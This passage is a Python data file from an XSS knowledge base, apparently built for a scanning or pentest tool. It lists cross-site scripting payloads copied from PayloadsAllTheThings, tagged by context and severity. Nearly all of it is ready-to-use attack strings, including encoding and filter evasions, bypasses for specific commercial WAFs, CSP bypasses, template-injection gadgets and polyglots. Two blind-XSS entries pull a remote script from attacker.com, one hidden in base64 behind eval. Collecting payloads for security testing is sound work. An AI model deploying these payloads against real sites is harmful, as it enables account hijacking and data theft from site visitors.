#!/usr/bin/env python3

"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Created
Telegram: https://t.me/EasyProTech

Source: PayloadsAllTheThings
URL: https://github.com/swisskyrepo/PayloadsAllTheThings
License: MIT
Author: swisskyrepo

XSS Injection payloads collection from PayloadsAllTheThings repository.
"""

from ..models import Encoding, PayloadEntry, Reliability, Severity


PAYLOADSALLTHETHINGS_XSS = {
    # === Basic Payloads ===
    "patt-basic-script": PayloadEntry(
        payload='<script>alert("XSS")</script>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Basic script tag XSS",
        tags=["patt", "basic", "script"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-basic-img": PayloadEntry(
        payload='<img src=x onerror=alert("XSS");>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Image onerror XSS",
        tags=["patt", "basic", "img", "onerror"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-basic-svg": PayloadEntry(
        payload='<svg onload=alert("XSS")>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG onload XSS",
        tags=["patt", "basic", "svg", "onload"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-basic-body": PayloadEntry(
        payload='<body onload=alert("XSS")>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Body onload XSS",
        tags=["patt", "basic", "body", "onload"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    # === Event Handlers ===
    "patt-event-onmouseover": PayloadEntry(
        payload='<a onmouseover=alert("XSS")>click me</a>',
        contexts=["html_content"],
        severity=Severity.MEDIUM,
        cvss_score=6.5,
        description="Anchor onmouseover XSS",
        tags=["patt", "event", "onmouseover", "user-interaction"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-event-onfocus": PayloadEntry(
        payload='<input onfocus=alert("XSS") autofocus>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Input onfocus with autofocus",
        tags=["patt", "event", "onfocus", "autofocus"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-event-marquee-onstart": PayloadEntry(
        payload='<marquee onstart=alert("XSS")>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Marquee onstart XSS",
        tags=["patt", "event", "marquee", "onstart"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        browser_support=["firefox"],
    ),
    "patt-event-video-onloadstart": PayloadEntry(
        payload='<video><source onerror="alert(1)">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Video source onerror XSS",
        tags=["patt", "event", "video", "onerror"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-event-audio-onerror": PayloadEntry(
        payload='<audio src=x onerror=alert("XSS");>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Audio onerror XSS",
        tags=["patt", "event", "audio", "onerror"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-event-details-ontoggle": PayloadEntry(
        payload='<details ontoggle=alert("XSS") open>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Details ontoggle with open attribute",
        tags=["patt", "event", "details", "ontoggle"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-event-select-onblur": PayloadEntry(
        payload='<select onblur=alert("XSS") autofocus>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Select onblur with autofocus",
        tags=["patt", "event", "select", "onblur"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "patt-event-textarea-onfocus": PayloadEntry(
        payload='<textarea onfocus=alert("XSS") autofocus>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Textarea onfocus with autofocus",
        tags=["patt", "event", "textarea", "onfocus"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-event-keygen-onfocus": PayloadEntry(
        payload='<keygen onfocus=alert("XSS") autofocus>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Keygen onfocus with autofocus (deprecated)",
        tags=["patt", "event", "keygen", "onfocus", "deprecated"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    "patt-event-meter-onmouseover": PayloadEntry(
        payload='<meter onmouseover=alert("XSS")>50</meter>',
        contexts=["html_content"],
        severity=Severity.MEDIUM,
        cvss_score=6.5,
        description="Meter onmouseover XSS",
        tags=["patt", "event", "meter", "onmouseover"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    # === SVG Attacks ===
    "patt-svg-script": PayloadEntry(
        payload='<svg><script>alert("XSS")</script></svg>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG with embedded script",
        tags=["patt", "svg", "script"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-svg-animate-onbegin": PayloadEntry(
        payload="<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG animate onbegin XSS",
        tags=["patt", "svg", "animate", "onbegin"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-svg-set-onbegin": PayloadEntry(
        payload="<svg><set onbegin=alert(1) attributeName=x>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG set onbegin XSS",
        tags=["patt", "svg", "set", "onbegin"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-svg-foreignobject": PayloadEntry(
        payload="<svg><foreignObject><script>alert(1)</script></foreignObject></svg>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG foreignObject with script",
        tags=["patt", "svg", "foreignObject", "script"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-svg-a-xlink": PayloadEntry(
        payload='<svg><a xlink:href="javascript:alert(1)"><rect width="100" height="100" /></a></svg>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG anchor with xlink:href javascript",
        tags=["patt", "svg", "xlink", "javascript"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-svg-desc-script": PayloadEntry(
        payload="<svg><desc><script>alert(1)</script></desc></svg>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG desc with script",
        tags=["patt", "svg", "desc", "script"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "patt-svg-title-script": PayloadEntry(
        payload="<svg><title><script>alert(1)</script></title></svg>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG title with script",
        tags=["patt", "svg", "title", "script"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    # === MathML Attacks ===
    "patt-mathml-script": PayloadEntry(
        payload='<math><maction actiontype="statusline#http://evil?"><script>alert(1)</script></maction></math>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="MathML with embedded script",
        tags=["patt", "mathml", "script"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        browser_support=["firefox"],
    ),
    "patt-mathml-xlink": PayloadEntry(
        payload='<math><maction xlink:href="javascript:alert(1)">clickme</maction></math>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="MathML xlink:href javascript",
        tags=["patt", "mathml", "xlink", "javascript"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        browser_support=["firefox"],
    ),
    # === Encoding Bypasses ===
    "patt-encoding-double-url": PayloadEntry(
        payload="%253Cscript%253Ealert(1)%253C%252Fscript%253E",
        contexts=["url"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Double URL encoded script tag",
        tags=["patt", "encoding", "double-url", "bypass"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.DOUBLE_URL,
        waf_evasion=True,
    ),
    "patt-encoding-unicode": PayloadEntry(
        payload="<script>\\u0061lert(1)</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Unicode escaped alert",
        tags=["patt", "encoding", "unicode", "bypass"],
        reliability=Reliability.HIGH,
        encoding=Encoding.UNICODE,
        waf_evasion=True,
    ),
    "patt-encoding-hex": PayloadEntry(
        payload="<script>\\x61lert(1)</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Hex escaped alert",
        tags=["patt", "encoding", "hex", "bypass"],
        reliability=Reliability.HIGH,
        encoding=Encoding.HEX,
        waf_evasion=True,
    ),
    "patt-encoding-html-entities": PayloadEntry(
        payload="&lt;script&gt;alert(1)&lt;/script&gt;",
        contexts=["html_content"],
        severity=Severity.MEDIUM,
        cvss_score=5.0,
        description="HTML entity encoded - context dependent",
        tags=["patt", "encoding", "html-entities"],
        reliability=Reliability.LOW,
        encoding=Encoding.HTML_ENTITIES,
    ),
    "patt-encoding-html-decimal": PayloadEntry(
        payload="&#60;script&#62;alert(1)&#60;/script&#62;",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="HTML decimal entity encoded",
        tags=["patt", "encoding", "html-decimal"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.HTML_DECIMAL,
        waf_evasion=True,
    ),
    "patt-encoding-mixed": PayloadEntry(
        payload="<scr\\x69pt>alert(1)</scr\\x69pt>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Mixed encoding bypass",
        tags=["patt", "encoding", "mixed", "bypass"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.MIXED,
        waf_evasion=True,
    ),
    # === Filter Bypass ===
    "patt-bypass-case": PayloadEntry(
        payload="<ScRiPt>alert(1)</sCrIpT>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Mixed case bypass",
        tags=["patt", "bypass", "case-sensitivity"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "patt-bypass-null-byte": PayloadEntry(
        payload="<scri%00pt>alert(1)</scri%00pt>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Null byte injection bypass",
        tags=["patt", "bypass", "null-byte"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "patt-bypass-newline": PayloadEntry(
        payload="<script\n>alert(1)</script\n>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Newline bypass",
        tags=["patt", "bypass", "newline"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "patt-bypass-tab": PayloadEntry(
        payload="<script\t>alert(1)</script\t>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Tab character bypass",
        tags=["patt", "bypass", "tab"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "patt-bypass-carriage-return": PayloadEntry(
        payload="<script\r>alert(1)</script\r>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Carriage return bypass",
        tags=["patt", "bypass", "carriage-return"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "patt-bypass-slash": PayloadEntry(
        payload="<script/>alert(1)</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Self-closing tag bypass",
        tags=["patt", "bypass", "slash", "self-closing"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "patt-bypass-double-open": PayloadEntry(
        payload="<<script>alert(1)</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Double open bracket bypass",
        tags=["patt", "bypass", "double-bracket"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    # === JavaScript URI ===
    "patt-jsuri-href": PayloadEntry(
        payload='<a href="javascript:alert(1)">XSS</a>',
        contexts=["html_content", "html_attribute"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="JavaScript URI in href",
        tags=["patt", "javascript-uri", "href"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-jsuri-href-entity": PayloadEntry(
        payload='<a href="&#106;avascript:alert(1)">XSS</a>',
        contexts=["html_content", "html_attribute"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="JavaScript URI with HTML entity",
        tags=["patt", "javascript-uri", "entity"],
        reliability=Reliability.HIGH,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "patt-jsuri-iframe-src": PayloadEntry(
        payload='<iframe src="javascript:alert(1)">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="JavaScript URI in iframe src",
        tags=["patt", "javascript-uri", "iframe"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-jsuri-form-action": PayloadEntry(
        payload='<form action="javascript:alert(1)"><input type="submit">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="JavaScript URI in form action",
        tags=["patt", "javascript-uri", "form"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-jsuri-embed-src": PayloadEntry(
        payload='<embed src="javascript:alert(1)">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="JavaScript URI in embed src",
        tags=["patt", "javascript-uri", "embed"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        browser_support=["firefox"],
    ),
    "patt-jsuri-object-data": PayloadEntry(
        payload='<object data="javascript:alert(1)">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="JavaScript URI in object data",
        tags=["patt", "javascript-uri", "object"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        browser_support=["firefox"],
    ),
    # === Data URI ===
    "patt-datauri-script": PayloadEntry(
        payload='<a href="data:text/html,<script>alert(1)</script>">XSS</a>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Data URI with script",
        tags=["patt", "data-uri", "script"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-datauri-base64": PayloadEntry(
        payload='<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">XSS</a>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Data URI base64 encoded script",
        tags=["patt", "data-uri", "base64"],
        reliability=Reliability.HIGH,
        encoding=Encoding.BASE64,
        waf_evasion=True,
    ),
    "patt-datauri-iframe": PayloadEntry(
        payload='<iframe src="data:text/html,<script>alert(1)</script>">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe with data URI script",
        tags=["patt", "data-uri", "iframe"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-datauri-object": PayloadEntry(
        payload='<object data="data:text/html,<script>alert(1)</script>">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Object with data URI script",
        tags=["patt", "data-uri", "object"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    # === DOM XSS Sinks ===
    "patt-dom-innerhtml": PayloadEntry(
        payload='element.innerHTML="<img src=x onerror=alert(1)>"',
        contexts=["javascript"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="DOM innerHTML sink",
        tags=["patt", "dom", "innerHTML", "sink"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-dom-outerhtml": PayloadEntry(
        payload='element.outerHTML="<img src=x onerror=alert(1)>"',
        contexts=["javascript"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="DOM outerHTML sink",
        tags=["patt", "dom", "outerHTML", "sink"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-dom-write": PayloadEntry(
        payload='document.write("<img src=x onerror=alert(1)>")',
        contexts=["javascript"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="DOM document.write sink",
        tags=["patt", "dom", "document.write", "sink"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-dom-writeln": PayloadEntry(
        payload='document.writeln("<img src=x onerror=alert(1)>")',
        contexts=["javascript"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="DOM document.writeln sink",
        tags=["patt", "dom", "document.writeln", "sink"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-dom-eval": PayloadEntry(
        payload='eval("alert(1)")',
        contexts=["javascript"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="DOM eval sink",
        tags=["patt", "dom", "eval", "sink"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-dom-setTimeout": PayloadEntry(
        payload='setTimeout("alert(1)",0)',
        contexts=["javascript", "dom_xss_eval"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="DOM setTimeout sink - direct code execution",
        tags=["patt", "dom", "setTimeout", "sink", "code-execution"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-dom-setInterval": PayloadEntry(
        payload='setInterval("alert(1)",1000)',
        contexts=["javascript", "dom_xss_eval"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="DOM setInterval sink - direct code execution",
        tags=["patt", "dom", "setInterval", "sink", "code-execution"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-dom-function": PayloadEntry(
        payload='new Function("alert(1)")()',
        contexts=["javascript"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="DOM Function constructor sink",
        tags=["patt", "dom", "Function", "sink"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-dom-location": PayloadEntry(
        payload='location="javascript:alert(1)"',
        contexts=["javascript"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="DOM location sink",
        tags=["patt", "dom", "location", "sink"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-dom-location-href": PayloadEntry(
        payload='location.href="javascript:alert(1)"',
        contexts=["javascript"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="DOM location.href sink",
        tags=["patt", "dom", "location.href", "sink"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-dom-location-replace": PayloadEntry(
        payload='location.replace("javascript:alert(1)")',
        contexts=["javascript"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="DOM location.replace sink",
        tags=["patt", "dom", "location.replace", "sink"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-dom-location-assign": PayloadEntry(
        payload='location.assign("javascript:alert(1)")',
        contexts=["javascript"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="DOM location.assign sink",
        tags=["patt", "dom", "location.assign", "sink"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    # === DOM Sources ===
    "patt-dom-hash": PayloadEntry(
        payload="#<img src=x onerror=alert(1)>",
        contexts=["url"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="DOM XSS via URL hash",
        tags=["patt", "dom", "hash", "source"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-dom-search": PayloadEntry(
        payload="?q=<img src=x onerror=alert(1)>",
        contexts=["url"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="DOM XSS via URL search",
        tags=["patt", "dom", "search", "source"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    # === Template Injection ===
    "patt-template-angular-basic": PayloadEntry(
        payload="{{constructor.constructor('alert(1)')()}}",
        contexts=["html_content", "template"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="AngularJS template injection",
        tags=["patt", "template", "angular", "ssti"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-template-vue-v2": PayloadEntry(
        payload="{{_c.constructor('alert(1)')()}}",
        contexts=["html_content", "template"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="VueJS v2 template injection",
        tags=["patt", "template", "vue", "v2"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-template-vue-v3": PayloadEntry(
        payload="{{_openBlock.constructor('alert(1)')()}}",
        contexts=["html_content", "template"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="VueJS v3 template injection",
        tags=["patt", "template", "vue", "v3"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    # === XSS Polyglots ===
    "patt-polyglot-1": PayloadEntry(
        payload="jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e",
        contexts=["html_content", "javascript", "html_attribute", "url"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="Universal XSS polyglot",
        tags=["patt", "polyglot", "universal", "multi-context"],
        reliability=Reliability.HIGH,
        encoding=Encoding.MIXED,
        waf_evasion=True,
    ),
    "patt-polyglot-2": PayloadEntry(
        payload='javascript:"/*\'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*&lt;svg/*/onload=alert()//>',
        contexts=["html_content", "javascript", "html_attribute"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="Context-breaking polyglot",
        tags=["patt", "polyglot", "context-break"],
        reliability=Reliability.HIGH,
        encoding=Encoding.MIXED,
        waf_evasion=True,
    ),
    "patt-polyglot-3": PayloadEntry(
        payload="-->'\"--></style></script><svg onload=alert()>",
        contexts=["html_content", "javascript", "css"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Simple context-breaking polyglot",
        tags=["patt", "polyglot", "simple"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    # === CSP Bypass ===
    "patt-csp-jsonp": PayloadEntry(
        payload='<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)">',
        contexts=["html_content"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="CSP bypass via JSONP callback",
        tags=["patt", "csp", "bypass", "jsonp", "google"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
        bypasses=["csp"],
    ),
    "patt-csp-angular": PayloadEntry(
        payload="<script src=\"https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.min.js\"></script><div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>",
        contexts=["html_content"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="CSP bypass via AngularJS",
        tags=["patt", "csp", "bypass", "angular"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=True,
        bypasses=["csp"],
    ),
    "patt-csp-base-uri": PayloadEntry(
        payload='<base href="https://evil.com/">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="CSP bypass via base-uri if not set",
        tags=["patt", "csp", "bypass", "base-uri"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        bypasses=["csp"],
    ),
    # === XSS via File Upload ===
    "patt-upload-svg": PayloadEntry(
        payload='<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg onload=alert(1) xmlns="http://www.w3.org/2000/svg"></svg>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="XSS via SVG file upload",
        tags=["patt", "upload", "svg", "file"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-upload-xml": PayloadEntry(
        payload='<?xml version="1.0"?><html xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></html>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="XSS via XML file upload",
        tags=["patt", "upload", "xml", "file"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-upload-html": PayloadEntry(
        payload="<html><head></head><body><script>alert(1)</script></body></html>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="XSS via HTML file upload",
        tags=["patt", "upload", "html", "file"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "patt-upload-swf": PayloadEntry(
        payload='getURL("javascript:alert(1)")',
        contexts=["flash"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="XSS via Flash file upload (legacy)",
        tags=["patt", "upload", "flash", "swf", "legacy"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    # === XSS via Headers ===
    "patt-header-referer": PayloadEntry(
        payload="Referer: <script>alert(1)</script>",
        contexts=["header"],
        severity=Severity.MEDIUM,
        cvss_score=6.0,
        description="XSS via Referer header reflection",
        tags=["patt", "header", "referer"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    "patt-header-useragent": PayloadEntry(
        payload="User-Agent: <script>alert(1)</script>",
        contexts=["header"],
        severity=Severity.MEDIUM,
        cvss_score=6.0,
        description="XSS via User-Agent header reflection",
        tags=["patt", "header", "user-agent"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    "patt-header-xforwardedfor": PayloadEntry(
        payload="X-Forwarded-For: <script>alert(1)</script>",
        contexts=["header"],
        severity=Severity.MEDIUM,
        cvss_score=6.0,
        description="XSS via X-Forwarded-For header reflection",
        tags=["patt", "header", "x-forwarded-for"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    # === Blind XSS ===
    "patt-blind-img": PayloadEntry(
        payload='"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYXR0YWNrZXIuY29tL3hzcy5qcyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>',
        contexts=["html_content"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="Blind XSS with callback",
        tags=["patt", "blind", "callback", "exfil"],
        reliability=Reliability.HIGH,
        encoding=Encoding.BASE64,
    ),
    "patt-blind-script": PayloadEntry(
        payload='"><script src=https://attacker.com/xss.js></script>',
        contexts=["html_content"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="Blind XSS external script",
        tags=["patt", "blind", "external", "script"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    # === Special Elements ===
    "patt-noscript": PayloadEntry(
        payload='<noscript><p title="</noscript><img src=x onerror=alert(1)>">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="XSS via noscript element",
        tags=["patt", "noscript", "bypass"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "patt-xmp": PayloadEntry(
        payload='<xmp><img src="</xmp><img src=x onerror=alert(1)//">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="XSS via xmp element",
        tags=["patt", "xmp", "bypass"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "patt-isindex": PayloadEntry(
        payload="<isindex type=image src=1 onerror=alert(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="XSS via isindex element (deprecated)",
        tags=["patt", "isindex", "deprecated"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    # === WAF Specific Bypasses ===
    "patt-waf-cloudflare-1": PayloadEntry(
        payload='<a href="j%0Aavascript:alert(1)">XSS</a>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Cloudflare WAF bypass with newline in javascript:",
        tags=["patt", "waf", "cloudflare", "bypass"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.URL,
        waf_evasion=True,
        bypasses=["cloudflare"],
    ),
    "patt-waf-cloudflare-2": PayloadEntry(
        payload="<img/src=x onerror=alert(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Cloudflare WAF bypass with slash in tag",
        tags=["patt", "waf", "cloudflare", "bypass"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
        bypasses=["cloudflare"],
    ),
    "patt-waf-akamai-1": PayloadEntry(
        payload="<svg/onload=alert(String.fromCharCode(88,83,83))>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Akamai WAF bypass using fromCharCode",
        tags=["patt", "waf", "akamai", "bypass", "fromCharCode"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
        bypasses=["akamai"],
    ),
    "patt-waf-imperva-1": PayloadEntry(
        payload="<img src=1 onerror\\x3dalert(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Imperva WAF bypass with hex escape",
        tags=["patt", "waf", "imperva", "bypass", "hex"],
